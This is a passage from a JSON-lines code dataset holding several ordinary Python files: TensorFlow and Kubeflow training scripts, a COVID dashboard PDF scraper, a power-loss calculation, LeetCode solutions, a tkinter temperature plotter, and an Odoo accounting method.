- y_data))\noptimizer = tf.train.GradientDescentOptimizer(0.5) # 0.5:学习率\ntrain = optimizer.minimize(loss)\n\n# 初始化变量\ninit = tf.initialize_all_variables()\n\nsess = tf.Session()\nsess.run(init) # 激活init\n\nfor step in range(500): #训练200步\n sess.run(train) # 训练\n if step %20 ==0:\n print(step, sess.run(Weights), sess.run(biases))\n","sub_path":"code/kaggle/DigitRecognizer/tensorflow_keras_learning/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"137401157","text":"#!/usr/bin/env python\r\n#coding:utf-8\r\n#########9.19 ,create a file with specified file size and a random byte with a specified counts \r\nimport random\r\nimport sys\r\ndef fun(word=None, times=None, long=None):\r\n if word == None or not (word >= 0 and word <= 255 ) :\r\n print('invalid word')\r\n return 0\r\n if not times >= 0 and not str(times).isalnum():##isalnum¼ìÑéÕûÊý \r\n print('invalid times')\r\n return 0\r\n if not long > 0 and not str(long).isalnum() :\r\n print('invalid long')\r\n return 0\r\n chr_word = chr(word) \r\n random_times = random.sample(xrange(long),times)\r\n i = 0\r\n print('word is %s, times is %s, long is %s' %(chr_word, random_times, long))\r\n try:\r\n f = open('dumpfile','w+b')##open as read and write,binary \r\n line = list('*'*long)\r\n # print(line)##debug 5\r\n for j in random_times:\r\n # f.seek(j-1)#####cant write the first byte(seek(0))?\r\n # f.write(chr_word)\r\n line[j] = chr_word\r\n line = ''.join(line)\r\n f.write(line) \r\n # f.seek(0)\r\n # print('debug 3 ')##debug 3\r\n # print f.readlines()\r\n # print('debug 4') ##debug 4\r\n except:\r\n return sys.exc_info()\r\n finally:\r\n f.close()\r\n print(open('dumpfile').read()) \r\n ","sub_path":"9.19.py","file_name":"9.19.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"14708840","text":"import os\nfrom urllib.request import urlretrieve\n\nimport click\nimport pandas as pd\n\nfrom .stop_covid_dashboard_scrapper import scrap_pdf_to_csv\n\n\n@click.command()\n@click.option(\n \"--dashboard-pdf-url\",\n default=\"http://stopcoronavirus.mcgm.gov.in/assets/docs/Dashboard.pdf\",\n show_default=True,\n)\n@click.option(\"--output\", default=\"stopcovid-dashboard.pdf\", show_default=True)\ndef download_pdf(dashboard_pdf_url, output):\n datetime_suffix = pd.Timestamp.utcnow().isoformat()\n click.echo(f\"Fetching {dashboard_pdf_url} into {output}\")\n return urlretrieve(dashboard_pdf_url, output)\n\n\n@click.command()\n@click.argument(\"pdf-files\", nargs=-1, required=True)\n@click.argument(\"output-dir\", nargs=1, required=True)\n@click.option(\n \"--page-with-positive-breakdown\",\n default=22,\n help=\"The page containing the ward-wise breakdown of positive cases.\",\n show_default=True,\n)\ndef scrap_pdf(pdf_files, output_dir, page_with_positive_breakdown):\n \"\"\"Given a PDF_FILE tries to fetch the data from all wards.\n\n We assume the PDF_FILE has been downloaded from http://stopcoronavirus.mcgm.gov.in/assets/docs/Dashboard.pdf.\n\n PDF_FILES A list of paths to the pdf files.\n OUTPUT_DIR The path to the output directory.\n \"\"\"\n if not os.path.isdir(output_dir):\n raise IOError(f\"Output: {output_dir} is not a directory\")\n\n paths = []\n for pdf_file in pdf_files:\n date, csv_path = scrap_pdf_to_csv(\n pdf_file, output_dir, page_with_positive_breakdown\n )\n paths.append(csv_path)\n click.echo(f\"Data from {date} has been downloaded to {csv_path}\")\n\n click.echo(f\"Saved the following files {paths}\")\n return paths\n\n\n@click.group()\ndef cli():\n pass\n\n\ncli.add_command(download_pdf)\ncli.add_command(scrap_pdf)\n\nif __name__ == \"__main__\":\n cli()\n","sub_path":"pdf_scrapper/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"372972580","text":"# %%\nimport matlab.engine\nimport parameters as param\nimport scipy.io\nfrom scipy.optimize import curve_fit\nimport numpy as np\nimport json\n\n# import matplotlib.pyplot as plt\n\n# Carrega os arquivos .m\neng = matlab.engine.start_matlab()\n\n# %%\nbinv = np.array(scipy.io.loadmat(\"Binv1.mat\").get(\"Binv1\"))\nbg = np.array(scipy.io.loadmat(\"Bg1.mat\").get(\"Bg1\"))\npcp_ind_lcl = np.array(scipy.io.loadmat(\"Pcp_ind_LCL.mat\").get(\"Pcp_ind_LCL\"))\np_cap_lcl = np.array(scipy.io.loadmat(\"P_cap_LCL.mat\").get(\"P_cap_LCL\"))\npswitches_inv_cond = np.array(\n scipy.io.loadmat(\"Pchaves_inv_cond.mat\").get(\"Pchaves_inv_cond\")\n)\npswitches_inv_sw = np.array(\n scipy.io.loadmat(\"Pchaves_inv_sw.mat\").get(\"Pchaves_inv_sw\")\n)\n# i_cap = np.array(scipy.io.loadmat(\"I_cap.mat\").get(\"I_cap\"))\npbat = np.array(scipy.io.loadmat(\"Pot_bat.mat\").get(\"Pot_bat\"))\npswitches_conv_cc_cond = np.array(\n scipy.io.loadmat(\"Pchaves_conv_cc_cond.mat\").get(\"Pchaves_conv_cc_cond\")\n)\npswitches_conv_cc_sw = np.array(\n scipy.io.loadmat(\"Pchaves_conv_cc_sw.mat\").get(\"Pchaves_conv_cc_sw\")\n)\nPcp_inter1 = np.array(scipy.io.loadmat(\"Pcp_ind_bt.mat\").get(\"Pcp_ind_bt\"))\nbinter1 = np.array(scipy.io.loadmat(\"Bind1.mat\").get(\"Bind1\"))\npbat2 = np.array(scipy.io.loadmat(\"Pot_bat2.mat\").get(\"Pot_bat2\"))\npswitches_conv_cc_cond2 = np.array(\n scipy.io.loadmat(\"Pchaves_conv_cc_cond2.mat\").get(\"Pchaves_conv_cc_cond2\")\n)\npswitches_conv_cc_sw2 = np.array(\n scipy.io.loadmat(\"Pchaves_conv_cc_sw2.mat\").get(\"Pchaves_conv_cc_sw2\")\n)\nPcp_inter2 = np.array(scipy.io.loadmat(\"Pcp_ind_bt2.mat\").get(\"Pcp_ind_bt2\"))\nbinter2 = np.array(scipy.io.loadmat(\"Bind2.mat\").get(\"Bind2\"))\nPgrid = np.array(scipy.io.loadmat(\"Pot_grid.mat\").get(\"Pot_grid\"))\n\n# %% Cálculo das perdas magnéticas nos indutores do filtro LCL\nprint(\"Core loss calculation: inverter side inductor of the LCL filter...\")\n\ndef core_loss_func(mag_flux_dens, count):\n mag_flux_dens = matlab.double(list(np.append(mag_flux_dens, mag_flux_dens[0])))\n time = matlab.double(list(np.arange(0, 1 / param.fn, param.ts)))\n count += 1\n print(count, end=\" \")\n return eng.coreloss(\n time, mag_flux_dens, float(param.cn), float(param.xn), float(param.kn), 1\n ) # perdas em W/m3\n\n\nbg_ac = np.array(\n [\n binv[i][int(len(binv[i]) - ((1 / 60) / (1 / (9000 * 120))) + 1) :]\n for i in range(0, len(binv))\n ]\n)\n\ncore_loss = np.array([core_loss_func(bg_ac[i][:], i) for i in range(0, len(binv))])\nplosses_core_linv_lcl = 3 * core_loss * param.vn * 1e-9 # Perdas em W\n\nprint(\"\\nCore loss calculation: grid side inductor of the LCL filter...\")\nbg_ac = np.array(\n [\n bg[i][int(len(bg[i]) - ((1 / 60) / (1 / (9000 * 120))) + 1) :]\n for i in range(0, len(bg))\n ]\n)\ncore_loss = np.array([core_loss_func(bg_ac[i][:], i) for i in range(0, len(bg))])\nplosses_core_lg_lcl = 3 * core_loss * param.vn * 1e-9 # Perdas em W\n\nprint(\"\\nCore loss calculation: interleaved inductor of the dc/dc converter 1...\")\nbg_ac = np.array(\n [\n binter1[i][int(len(binter1[i]) - ((1 / param.fswb) / param.ts) + 1) :]\n for i in range(0, len(binter1))\n ]\n)\ncore_loss = np.array([core_loss_func(bg_ac[i][:], i) for i in range(0, len(binter1))])\nplosses_core_inter1 = 3 * core_loss * param.vn_inter * 1e-9 # Perdas em W\n\nprint(\"\\nCore loss calculation: interleaved inductor of the dc/dc converter 2...\")\nbg_ac = np.array(\n [\n binter1[i][int(len(binter1[i]) - ((1 / param.fswb) / param.ts) + 1) :]\n for i in range(0, len(binter1))\n ]\n)\ncore_loss = np.array([core_loss_func(bg_ac[i][:], i) for i in range(0, len(binter2))])\nplosses_core_inter2 = 3 * core_loss * param.vn_inter * 1e-9 # Perdas em W\n\nprint(\"\\nCopper loss calculation: resistors of the LCL filter...\")\nplosses_copper_lcl = pcp_ind_lcl\n\nprint(\"ESR loss calculation: capacitors of the LCL filter...\")\nplosses_esr_lcl = pcp_ind_lcl\n\nprint(\"\\nCopper loss calculation: interleaved inductor of the dc/dc converter 1...\")\nplosses_copper_inter1 = Pcp_inter1\n\nprint(\"\\nCopper loss calculation: interleaved inductor of the dc/dc converter 2...\")\nplosses_copper_inter2 = Pcp_inter2\n\nprint(\"Conduction loss calculation: inverter switches...\")\nplosses_cond_inv = pswitches_inv_cond\n\nprint(\"Switching loss calculation: inverter switches...\")\nplosses_switch_inv = pswitches_inv_sw\n\nprint(\"Conduction loss calculation: interleaved 1 switches...\")\nplosses_cond_inter1 = pswitches_conv_cc_cond\n\nprint(\"Conduction loss calculation: interleaved 2 switches...\")\nplosses_cond_inter2 = pswitches_conv_cc_cond2\n\nprint(\"Switching loss calculation: interleaved 1 switches...\")\nplosses_switch_inter1 = pswitches_conv_cc_sw\n\nprint(\"Switching loss calculation: interleaved 2 switches...\")\nplosses_switch_inter2 = pswitches_conv_cc_sw2\n\nprint(\"Total power losses calculation...\")\ntotal_power_losses = (\n # plosses_dc_link\n +plosses_core_linv_lcl\n + plosses_core_lg_lcl\n + plosses_copper_lcl\n + plosses_esr_lcl\n + plosses_cond_inv\n + plosses_switch_inv\n + plosses_core_inter1\n + plosses_core_inter2\n + plosses_copper_inter1\n + plosses_copper_inter2\n + plosses_cond_inter1\n + plosses_cond_inter2\n + plosses_switch_inter1\n + plosses_switch_inter2\n)\n\n# %%\nprint(\"Efficiency calculation...\")\n# efficiency = ((1 - total_power_losses / (pbat + pbat2)) * 100)[0] # Discharge\n# Pin = (pbat + pbat2)[0] # Discharge\n\nefficiency = ((1 - total_power_losses / abs(Pgrid)) * 100)[0] # Charge\nPin = abs(Pgrid)[0]\n\nprint(\"Save json file...\")\nwith open(\"efficiency_bess.json\", \"w\") as arquivo:\n efficiency_list = efficiency.tolist()\n json.dump(efficiency_list, arquivo)\n\nwith open(\"total_power_losses_bess.json\", \"w\") as arquivo:\n total_power_losses_list = total_power_losses.tolist()\n json.dump(total_power_losses_list[0], arquivo)\n\nwith open(\"pin.json\", \"w\") as arquivo:\n Pin_list = Pin.tolist()\n json.dump(Pin_list, arquivo)\n\nprint(\"Complete\")\n# %%\n","sub_path":"perdas/Paralelo/cycle/power_losses_calculation.py","file_name":"power_losses_calculation.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"351152638","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport tempfile\nimport os\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow import keras\n#import tensorflow_model_optimization as tfmot\nimport argparse\nfrom tensorflow.python.keras.callbacks import Callback\nfrom tensorflow.python.lib.io import file_io\nimport json\n\n\n# 모델 사이즈를 측정하기 위한 함수\ndef get_gzipped_model_size(file):\n # Returns size of gzipped model, in bytes.\n import os\n import zipfile\n\n _, zipped_file = tempfile.mkstemp('.zip')\n with zipfile.ZipFile(zipped_file, 'w', compression=zipfile.ZIP_DEFLATED) as f:\n f.write(file)\n\n return os.path.getsize(zipped_file)\n\nclass Cifar10(object):\n def train(self):\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--learning_rate', required=False, type=float, default=0.001)\n parser.add_argument('--dropout_rate', required=False, type=float, default=0.3) \n parser.add_argument('--model_path', required=False, default='/result',type = str) #/saved_model\n parser.add_argument('--model_version', required=False, default='/base_model.h5',type = str)#test2/Base_model.h5\n args = parser.parse_args()\n\n\n\n # Load Cifar10 dataset\n cifar10 = keras.datasets.cifar10\n (train_images, train_labels), (test_images, test_labels) = cifar10.load_data()\n\n\n # Normalize the input image so that each pixel value is between 0 to 1.\n #train_images = train_images / 255.0\n #test_images = test_images / 255.0\n train_images = train_images / 255.0 #.astype(np.float32)\n test_images = test_images / 255.0 #.astype(np.float32)\n # Define the model architecture\n model = keras.Sequential([\n keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(32, 32, 3)),\n keras.layers.MaxPooling2D((2, 2)), \n keras.layers.Conv2D(64, (3, 3), activation='relu'),\n keras.layers.MaxPooling2D((2, 2)),\n keras.layers.Conv2D(64, (3, 3), activation='relu'),\n keras.layers.Flatten(),\n keras.layers.Dense(64, activation='relu'),\n keras.layers.Dense(10)\n ])\n model.summary()\n\n # Train the digit classification model\n model.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n model.fit(\n train_images,\n train_labels,\n epochs=10,\n validation_data=(test_images, test_labels)\n )\n #model.fit(x_train, y_train, epochs=5,callbacks=[KatibMetricLog()])\n\n \n results = model.evaluate(test_images, test_labels, batch_size=128)\n \n _, model_accuracy = model.evaluate(test_images, test_labels, verbose=0)\n print(\"Base model accuracy : \", model_accuracy)\n \n \n loss = results[0]\n accuracy = results[1]\n metrics = {\n 'metrics': [{\n 'name': 'accuracy',\n 'numberValue': float(accuracy),\n 'format': \"PERCENTAGE\",\n }, {\n 'name': 'loss',\n 'numberValue': float(loss),\n 'format': \"RAW\",\n }]\n }\n \n with file_io.FileIO('/mlpipeline-metrics.json', 'w') as f:\n json.dump(metrics, f)\n \n tf.keras.models.save_model(model, args.model_path+args.model_version, include_optimizer=False) #os.getcwd()+'/'+args.model_version.split('/')[1]\n print(\"Base model size: \",get_gzipped_model_size(args.model_path+args.model_version))\n\n\ndef fairing_run():\n CONTAINER_REGISTRY = 'khw2126'\n\n namespace = 'admin'\n job_name = f'mnist-job-{uuid.uuid4().hex[:4]}'\n\n\n fairing.config.set_builder('append', registry=CONTAINER_REGISTRY, image_name=\"mnist-simple\",base_image=\"khw2126/tensorflow-2.0.0-notebook-gpu:3.0.0\")\n\n #fairing.config.set_deployer('job', namespace=namespace, job_name=job_name, cleanup=False, stream_log=True)\n \n fairing.config.set_deployer('job', namespace=namespace, job_name=job_name, cleanup=False, stream_log=True,\n pod_spec_mutators=[\n k8s_utils.mounting_pvc(pvc_name=\"workspace-hufsice\", \n pvc_mount_path=\"/result\")])\n\n fairing.config.run()\n \nif __name__ == '__main__':\n if os.getenv('FAIRING_RUNTIME', None) is None:\n import uuid\n from kubeflow import fairing\n from kubeflow.fairing.kubernetes import utils as k8s_utils\n fairing_run()\n else:\n remote_train = Cifar10()\n remote_train.train()\n \n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Fairing/cifar10/Train.py","file_name":"Train.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"302445208","text":"\"\"\"\n\n149. Max Points on a Line\n\n\nGiven n points on a 2D plane, find the maximum number of points that lie on the same straight line.\n\nExample 1:\n\nInput: [[1,1],[2,2],[3,3]]\nOutput: 3\nExplanation:\n^\n|\n| o\n| o\n| o\n+------------->\n0 1 2 3 4\nExample 2:\n\nInput: [[1,1],[3,2],[5,3],[4,1],[2,3],[1,4]]\nOutput: 4\nExplanation:\n^\n|\n| o\n| o o\n| o\n| o o\n+------------------->\n0 1 2 3 4 5 6\n\n\n\"\"\"\n\nfrom math import gcd, inf\nimport fractions\n\n# Definition for a point.\nclass Point:\n def __init__(self, a=0, b=0):\n self.x = a\n self.y = b\n\nclass Solution:\n\n def maxPoints(self, points):\n \"\"\"\n :type points: List[Point]\n :rtype: int\n \"\"\"\n lines = {} # slope, intercept, count\n max_pts = 0\n\n if not points:\n return 0\n elif len(points) == 1:\n return 1\n else:\n max_pts = 0\n for i, p1 in enumerate(points):\n same, count = 1, {}\n for j, p2 in enumerate(points):\n if i == j:\n continue\n else:\n if p1.x == p2.x and p1.y == p2.y and i != j:\n same += 1\n else:\n x_dif, y_dif = p2.x-p1.x, p2.y-p1.y\n div = gcd(x_dif, y_dif)\n x_dif, y_dif = x_dif/div, y_dif/div\n if (x_dif, y_dif) not in count:\n count[(x_dif, y_dif)] = 1\n else:\n count[(x_dif, y_dif)] += 1\n current_max = same\n for c in count:\n current_max = max(current_max, count[c]+same)\n max_pts = max(max_pts, current_max)\n return max_pts\n\n def maxPoints_fast(self, points):\n\n def gcd(m, n):\n if n == 0:\n return m\n elif m * n < 0:\n return -gcd(n, m % n)\n else:\n return gcd(n, m % n)\n\n def slope(p1, p2):\n x1, y1 = p1[0], p1[1]\n x2, y2 = p2[0], p2[1]\n if x1 == x2:\n return x1, 0\n elif y1 == y2:\n return 0, y1\n else:\n g = gcd(x2-x1, y2-y1)\n return ((x2-x1)/g, (y2-y1)/g)\n\n if len(points) <= 1:\n return len(points)\n\n ans = 0\n for i in range(len(points)-1):\n same_pts = 1\n max_pts = 0\n count = {}\n for j in range(i+1,len(points)):\n x1, y1 = points[i][0], points[i][1]\n x2, y2 = points[j][0], points[j][1]\n if x1 == x2 and y1 == y2:\n same_pts += 1\n else:\n s = slope(points[i], points[j])\n if s in count:\n count[s] += 1\n else:\n count[s] = 1\n if count:\n max_pts = max(max_pts, max(count.values()))\n ans = max(ans, max_pts + same_pts)\n return ans\n\n def maxPoints2(self, points):\n \"\"\"\n \n For each point i, only consider points after i since points i, j and points j, i have the same slope\n \"\"\"\n n = len(points)\n\n if n <= 1:\n return n\n max_count = 2\n for i in range(n):\n x1, y1 = points[i]\n count = 0\n slopes = {}\n same_pts = 0\n for j in range(i+1, n):\n x2, y2 = points[j]\n if x2 == x1 and y2 == y1:\n same_pts += 1\n else:\n if x2 == x1:\n s = float('inf')\n else:\n s = fractions.Fraction(y2-y1, x2-x1)\n if s in slopes:\n slopes[s] += 1\n else:\n slopes[s] = 1\n count = max(count, slopes[s])\n max_count = max(max_count, count+same_pts+1)\n\n return max_count\n\n\nif __name__ == '__main__':\n\n sol = Solution()\n method = sol.maxPoints2\n\n cases = [\n (method, ([[1,1],[2,2],[3,3]],), 3),\n (method, ([[1,1],[1,1],[1,1]],), 3),\n (method, ([[1,1],[1,1],[2,3]],), 3),\n (method, ([[0,0],[0,0]],), 2),\n (method, ([[0,0],[0,0],[0,0],[0,0]],), 4),\n (method, ([[1,1],[3,2],[5,3],[4,1],[2,3],[1,4]],), 4),\n (method, ([[3,1],[12,3],[3,1],[-6,-1]],), 4),\n (method, ([[94911150, 94911151],[94911151, 94911152],[0,0]],), 2),\n (method, ([[84,250],[0,0],[1,0],[0,-70],[0,-70],[1,-1],[21,10],[42,90],[-42,-230]],), 6),\n (method, ([[0,9],[138,429],[115,359],[115,359],[-30,-102],[230,709],[-150,-686],[-135,-613],\n [-60,-248],[-161,-481],[207,639],[23,79],[-230,-691],[-115,-341],[92,289],\n [60,336],[-105,-467],[135,701],[-90,-394],[-184,-551],[150,774]],), 12),\n ]\n\n for i, (func, case, expected) in enumerate(cases):\n ans = func(*case)\n if ans == expected:\n print(\"Case {:d} Passed\".format(i + 1))\n else:\n print(\"Case {:d} Failed; Expected {:s} != {:s}\".format(i + 1, str(expected), str(ans)))","sub_path":"algo/math/max_points_on_a_line.py","file_name":"max_points_on_a_line.py","file_ext":"py","file_size_in_byte":5370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"162291219","text":"\n###################################################################\n#\n# CSSE1001/7030 - Assignment 2\n#\n# Student Number: 42377029\n#\n# Student Name: Joyce Wing Yan Lau\n#\n###################################################################\n\n#####################################\n# Support given below - DO NOT CHANGE\n#####################################\n\nfrom assign2_support import *\n\n#####################################\n# End of support \n#####################################\n\n# Add your code here\n\nimport tkinter as tk\nimport os.path\nfrom tkinter import filedialog\nfrom tkinter import messagebox\n\nclass TemperatureData(object):\n def __init__(self):\n self._stations = []\n self._data = {}\n self._toggle = []\n def load_data(self,stationfile):\n stationdata = Station(stationfile)\n self._data.update({stationdata.get_name():stationdata})\n self._toggle.append(True)\n self._stations.append(stationdata.get_name())\n def get_data(self):\n return self._data\n def get_stations(self):\n return self._stations\n def is_selected(self,i):\n return self._toggle[i]\n def toggle_selected(self,i):\n self._toggle[i] = not self._toggle[i]\n def get_ranges(self):\n temperatures = []\n years = []\n temperaturelist = []\n yearlist = []\n try:\n for i in self._stations:\n yearlist.append(self._data[i].get_year_range())\n temperaturelist.append(self._data[i].get_temp_range())\n for i in yearlist:\n for n in i:\n years.append(n)\n for i in temperaturelist:\n for n in i:\n temperatures.append(n)\n temp_range = (min(years), max(years),\\\n min(temperatures),max(temperatures))\n return temp_range\n except ValueError:\n pass\n\n \n\nclass Plotter(tk.Canvas):\n def __init__(self,master,data):\n super().__init__(master, bg=\"white\")\n master.title(\"Plotter\")\n self._data = data\n self._stations = self._data.get_stations()\n self._coord = []\n self._ranges = ()\n self._width = None\n self._height = None\n self._line = None\n## self._bestfitline = None\n self._bfcoords = []\n\n self._year = None\n self._temps = []\n self._yearlist = []\n def get_coords(self):\n try:\n self._ranges = self._data.get_ranges()\n self._width = self.winfo_width()\n self._height = self.winfo_height()\n self._coord = CoordinateTranslator(self._width,\\\n self._height,\\\n self._ranges[0],\\\n self._ranges[1],\\\n self._ranges[2],\\\n self._ranges[3])\n self._stations = self._data.get_stations()\n except TypeError:\n pass\n \n\n \n def plot(self,station,colour):\n datapoints = []\n tempcoords = []\n station_data = self._data.get_data().get(station)\n datapoints = station_data.get_data_points()\n self.get_coords()\n for i in datapoints:\n tempcoords.append(self._coord.temperature_coords(i[0],i[1])) \n self.create_line(tempcoords,fill=colour)\n\n def get_year(self,e):\n self._year = self._coord.get_year(e.x)\n print(self._year)\n return self._year\n\n def get_temps(self):\n self._temps = []\n for station in self._stations:\n station_data = self._data.get_data().get(station)\n self._temps.append(station_data.get_temp(self._year))\n print(self._temps)\n return self._temps\n \n def draw_line(self,e):\n\n if self._line is not None:\n self.delete(self._line)\n self._line = None\n \n if 0 <= e.x < self._width:\n coords = [(e.x, 0), (e.x, self._height)]\n\n self._line = self.create_line(coords)\n self.get_year(e)\n self.get_temps()\n\n\n def appendyear(self,e):\n if len(self._yearlist) == 2:\n self._yearlist.clear()\n if len(self._yearlist) < 2:\n self._yearlist.append(self._year)\n self.redraw()\n self.draw_line(e)\n\n\n\n def get_bfcoords(self,station):\n self._bfcoords = []\n station_data = self._data.get_data().get(station)\n datapoints = station_data.get_data_points()\n for datatuple in datapoints:\n for n,i in enumerate(datatuple):\n for y in self._yearlist:\n if y == i:\n self._bfcoords.append(self._coord.temperature_coords\\\n (datatuple[0],datatuple[1]))\n\n\n \n def bestfit(self):\n try:\n \n for n, station in enumerate(self._stations):\n self.get_bfcoords(station)\n if self._data.is_selected(n) == True:\n bfcoords = best_fit(self._bfcoords)\n self._bestfitline = self.create_line(bfcoords,\\\n fill = COLOURS[n % len(COLOURS)]\\\n ,width = 2)\n except ZeroDivisionError:\n pass \n \n \n def redraw(self):\n self.get_coords()\n self.delete(tk.ALL)\n for i, station in enumerate(self._stations):\n if self._data.is_selected(i) == True:\n self.plot(station, COLOURS[i % len(COLOURS)])\n self.bestfit()\n\n\n \nclass SelectionFrame(tk.Frame):\n def __init__(self,master,data,plot):\n super().__init__(master)\n self._master = master\n self._stationselect = tk.Label(master,text=\"Station Selection: \")\n self._stationselect.pack(side=tk.LEFT,anchor=tk.SW)\n self._data = data\n self._chk = \"\"\n self._chklist = []\n self._plotter = plot\n \n\n \n def checkbutton(self,station,colour,i):\n self._chk = tk.Checkbutton(self._master, text=station,fg=colour,\\\n command = lambda: self.toggle(i))\n self._chk.select()\n self._chk.pack(side=tk.LEFT,anchor=tk.SW)\n \n \n def toggle(self,i):\n self._data.toggle_selected(i)\n self._plotter.redraw()\n print(self._data.is_selected(i))\n print(self._data._toggle)\n\n\n \n \nclass DataFrame(tk.Frame):\n def __init__(self,master,data):\n super().__init__(master)\n self._data = data\n self._stations = self._data.get_stations()\n self._year = None\n self._year = tk.Label(master)\n self._year.pack(side = tk.TOP, anchor = tk.NW)\n self._templist = []\n self._alreadyloaded = []\n \n \n def display_year(self,year):\n\n self._year.config(text = \"Data for \" + str(year)+\":\")\n\n \n def add_label(self):\n\n for n,i in enumerate(self._stations):\n if i not in self._alreadyloaded:\n self._alreadyloaded.append(i)\n self._temp = tk.Label(self,text = \"\",fg=COLOURS[n%len(COLOURS)])\n self._temp.pack(side = tk.LEFT)\n self._templist.append(self._temp)\n\n\n\n \n def display_temps(self,temps): \n self.add_label()\n for n,s in enumerate(self._stations):\n self._templist[n].config(text=temps[n])\n\n \n \nclass TemperaturePlotApp(object):\n def __init__(self, master):\n self._master = master\n master.title(\"Temperature Plot Application\")\n self._temperatureData = TemperatureData()\n self._stations = self._temperatureData.get_stations()\n \n menubar = tk.Menu(master)\n master.config(menu=menubar)\n filemenu = tk.Menu(menubar)\n menubar.add_cascade(label=\"File\",menu=filemenu)\n filemenu.add_command(label=\"Open\",command=self.open)\n filemenu.add_command(label=\"Exit\",command=self.close)\n\n master.protocol(\"WM_DELETE_WINDOW\",self.close)\n \n self._plotter = Plotter(master,self._temperatureData)\n self._plotter.pack(expand=1,fill=tk.BOTH, side=tk.TOP)\n self._plotter.bind(\"\",self.draw_line)\n self._plotter.bind(\"\",self.resize_window)\n self._plotter.bind(\"\",self._plotter.appendyear)\n\n self._dataframe = DataFrame(master,self._temperatureData)\n self._dataframe.pack(side = tk.TOP,anchor=tk.NW)\n\n self._selectionframe = SelectionFrame(self._master,\\\n self._temperatureData,\\\n self._plotter)\n self._selectionframe.pack(expand=1, side=tk.TOP,anchor = tk.SW)\n\n\n self._alreadyloaded = []\n\n \n def open(self):\n filename = filedialog.askopenfilename()\n if filename:\n self._temperatureData.load_data(filename)\n self.checkbox()\n self._plotter.redraw()\n\n \n def checkbox(self):\n for n,station in enumerate(self._stations):\n if station not in self._alreadyloaded:\n self._alreadyloaded.append(station)\n self._selectionframe.checkbutton(station,\\\n COLOURS[n % len(COLOURS)],n)\n \n def draw_line(self,e):\n self._plotter.draw_line(e)\n self._dataframe.display_year(self._plotter._year)\n self._dataframe.display_temps(self._plotter._temps)\n\n \n def resize_window(self,e):\n self._plotter.redraw()\n \n def close(self):\n self._master.destroy()\n\n#resize window\n\n##################################################\n# !!!!!! Do not change (or add to) the code below !!!!!\n###################################################\n\ndef main():\n root = tk.Tk()\n app = TemperaturePlotApp(root)\n root.geometry(\"800x400\")\n root.mainloop()\n\nif __name__ == '__main__':\n main()\n","sub_path":"CSSE7030_Assignment 2/assign2backup.py","file_name":"assign2backup.py","file_ext":"py","file_size_in_byte":10221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"555639645","text":"n=input(\"enter number to find armstrong or not\")\nx=len(n)\ny=int(n)\nnum=y\ntemp=0\nt=0\nwhile(num!=0):\n te=num%10\n temp=temp+te**x\n num=num//10\nif(y==temp):\n print(\"it is armstrong\")\nelse:\n print(\"it is not armstrong\")\n","sub_path":"armstrong.py","file_name":"armstrong.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"264343142","text":"from psycopg2.extensions import AsIs\nimport logging\n\nfrom odoo import models\n\n_logger = logging.getLogger(__name__)\n\n\nclass AccountBankStatementLine(models.Model):\n _inherit = 'account.bank.statement.line'\n\n def fast_counterpart_creation(self):\n company_currency = self.journal_id.company_id.currency_id\n statement_currency = self.journal_id.currency_id or company_currency\n partner_id = self.partner_id.id or None\n st_line_currency = self.currency_id or statement_currency\n for st_line in self:\n # If we are in multi-currency use standard process\n if st_line_currency.id != company_currency.id:\n vals = {\n 'name': st_line.name,\n 'debit': st_line.amount < 0 and -st_line.amount or 0.0,\n 'credit': st_line.amount > 0 and st_line.amount or 0.0,\n 'account_id': st_line.account_id.id,\n }\n return st_line.process_reconciliation(new_aml_dicts=[vals])\n move_vals = self._prepare_reconciliation_move(st_line.statement_id.name)\n move = self.env['account.move'].create(move_vals)\n debit = st_line.amount < 0 and -st_line.amount or 0.0\n credit = st_line.amount > 0 and st_line.amount or 0.0\n debit_cash_basis = 0 if move.journal_id.type in ('sale', 'purchase') else debit\n credit_cash_basis = 0 if move.journal_id.type in ('sale', 'purchase') else credit\n aml_dict = {\n 'name': st_line.name,\n 'debit': debit,\n 'credit': credit,\n 'balance': debit - credit,\n 'account_id': st_line.account_id.id,\n 'move_id': move.id,\n 'partner_id': partner_id,\n 'statement_id': st_line.statement_id.id,\n 'statement_line_id': st_line.id,\n 'reconciled': False,\n 'amount_residual': debit - credit if st_line.account_id.reconcile else 0,\n 'amount_residual_currency': 0,\n 'debit_cash_basis': debit_cash_basis,\n 'credit_cash_basis': credit_cash_basis,\n 'balance_cash_basis': debit_cash_basis - credit_cash_basis,\n 'company_currency_id': move.company_id.currency_id.id,\n 'ref': move.ref,\n 'journal_id': move.journal_id.id,\n 'date': move.date,\n 'date_maturity': move.date,\n 'company_id': st_line.account_id.company_id.id,\n 'user_type_id': st_line.account_id.user_type_id.id,\n }\n columns = aml_dict.keys()\n values = [aml_dict[column] for column in columns]\n self.env.cr.execute('''INSERT INTO account_move_line(%s) VALUES %s''', (AsIs(','.join(columns)), tuple(values)))\n # Create conterpart\n account = credit > 0 and self.statement_id.journal_id.default_credit_account_id or self.statement_id.journal_id.default_debit_account_id\n aml_dict['debit'] = credit\n aml_dict['credit'] = debit\n aml_dict['balance'] = credit - debit\n 